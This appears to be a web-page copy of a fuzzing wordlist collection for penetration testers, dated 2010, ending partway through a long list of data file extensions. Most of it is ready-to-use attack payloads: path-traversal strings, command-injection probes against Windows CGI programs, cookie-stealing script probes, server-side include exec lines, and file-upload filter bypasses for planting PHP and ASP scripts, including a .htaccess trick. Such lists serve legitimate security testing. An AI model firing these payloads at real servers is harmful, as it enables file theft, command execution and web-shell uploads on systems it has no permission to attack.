././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> 